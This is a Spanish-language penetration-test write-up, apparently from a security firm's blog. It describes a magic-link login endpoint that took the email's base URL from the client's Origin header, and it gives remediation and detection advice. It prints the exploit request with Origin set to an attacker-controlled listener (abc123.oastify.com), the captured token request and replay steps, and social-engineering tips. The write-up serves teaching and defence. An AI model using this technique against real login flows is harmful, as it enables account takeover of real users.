El ataque en una línea

El endpoint que enviaba magic links de login confiaba en el header Origin de la petición HTTP para armar la URL incluida en el correo. Un atacante podía pedir un login link a nombre de cualquier usuario con un Origin apuntando a un dominio controlado por él. El correo llegaba al inbox de la víctima con un link al servidor del atacante. Cuando la víctima daba click, el token de autenticación viajaba directo al atacante.

Resultado: account takeover sin acceso al correo, sin malware, sin reset de contraseña visible.

Un magic link es una alternativa al password tradicional. El flujo típico:

  1. Usuario escribe su correo en /login
  2. Servidor genera un token único de un solo uso
  3. Servidor envía un correo al usuario con un link tipo https://app.cliente.com/auth/verify?token=XYZ
  4. Usuario hace click → el browser navega a la URL → el servidor valida el token → sesión iniciada

Lo crítico es quién decide la URL base del link que va en el correo. Si el servidor la lee de configuración interna, todo bien. Si el servidor la construye usando inputs del cliente, ahí empieza el problema.

La implementación rota

En este engagement, el endpoint vulnerable era una Cloud Function:

POST /userFunctions-sendLoginEmail HTTP/1.1
Host: northamerica-northeast1-app-redacted.cloudfunctions.net
Origin: https://app-redacted.xyz
Content-Type: application/json

{
  "email": "[email protected]"
}

El backend, al construir el correo, hacía algo equivalente a:

const baseUrl = req.headers.origin;
const link = `${baseUrl}/?u=${userId}&t=${token}#loginClaim=${email}`;
sendEmail(email, `Click here to login: ${link}`);

El servidor jamás validó que Origin fuera un dominio confiable. Lo tomó tal cual y lo metió en el correo.

La explotación, paso a paso

1. Levantar un servidor de captura

Para este caso usé un Burp Collaborator (cualquier listener HTTP funciona):

https://abc123.oastify.com
POST /userFunctions-sendLoginEmail HTTP/1.1
Host: northamerica-northeast1-app-redacted.cloudfunctions.net
Origin: https://abc123.oastify.com
Content-Type: application/json

{
  "email": "[email protected]"
}

Respuesta del servidor:

{ "status": "success" }

3. La víctima recibe el correo

Asunto: “Click here to login”

El cuerpo del correo contiene un link como:

https://abc123.oastify.com/?u=yFDJdN53hwZQM8Vl4vdwtU39UZq2&t=[REDACTED]#[email protected]

Para la víctima esto puede pasar dos cosas:

  • Si esperaba el correo (porque alguien le mandó un “te espero en la app”), va a hacer click sin pensar
  • Si no, lo va a ignorar, pero el atacante puede combinar con un mensaje en LinkedIn o un email separado para crear contexto

4. La víctima hace click

El browser navega a abc123.oastify.com. El atacante puede mostrar una página neutra (“Cargando…” mientras “redirige”). Mientras tanto, el listener captura la URL completa con el token:

GET /?u=yFDJdN53hwZQM8Vl4vdwtU39UZq2&t=[token-de-1-uso] HTTP/1.1
Host: abc123.oastify.com
https://app-redacted.xyz/?u=yFDJdN53hwZQM8Vl4vdwtU39UZq2&t=[token-de-1-uso]#[email protected]

Pega el link en su browser. La aplicación valida el token, lo marca como usado, y emite una sesión válida para la víctima.

Account takeover completado. Tiempo total: minutos.

Por qué esto es peor que phishing

En un phishing tradicional, el atacante tiene que:

  • Comprar un dominio parecido (app-redacted-secure.xyz)
  • Diseñar una página que copie el login
  • Esperar que la víctima ingrese credenciales sin notar la URL

Aquí no. El correo viene del dominio legítimo de la aplicación, con el formato esperado, con el remitente esperado. La única señal anómala es la URL del link, y la mayoría de usuarios no inspecciona el destino antes de hacer click.

Adicionalmente, el atacante no necesita acceso al inbox de la víctima en ningún momento. El token nunca pasa por su correo.

Remediación

La corrección es simple pero hay que hacerla en el servidor:

const TRUSTED_ORIGINS = new Set([
  'https://app.cliente.com',
  'https://app.cliente.com.mx',
]);

app.post('/userFunctions-sendLoginEmail', (req, res) => {
  const origin = req.headers.origin;

  if (!TRUSTED_ORIGINS.has(origin)) {
    return res.status(403).json({ error: 'Origin not allowed' });
  }

  // Mejor aún: ignorar el header Origin completamente
  // y usar la URL base configurada en el servidor.
  const baseUrl = process.env.APP_URL;

  const link = `${baseUrl}/auth/verify?token=${token}`;
  // ...
});

Tres reglas:

  1. Allowlist explícita de orígenes válidos en el servidor.
  2. Mejor todavía: no leer el Origin para construir URLs en correos. Usar una constante de configuración del servidor.
  3. Validar el Referer también si se quiere defensa en profundidad, pero no como única validación (puede ser strippeado).

Cómo detectarlo en tus apps

Si tu aplicación envía correos con links (login, recuperación de contraseña, invitaciones, confirmaciones), revisa:

  • ¿La URL base del link se construye con datos del cliente (Origin, Referer, Host, parámetros del body)?
  • ¿Existe una allowlist de dominios?
  • ¿El servidor usa una variable de entorno fija para la URL?

Si la respuesta es “sí” a la primera y “no” a las otras dos, probablemente tienes esta misma vulnerabilidad.


¿Tu plataforma envía magic links, links de invitación o de recuperación? Contáctanos para una auditoría enfocada en flujos de autenticación.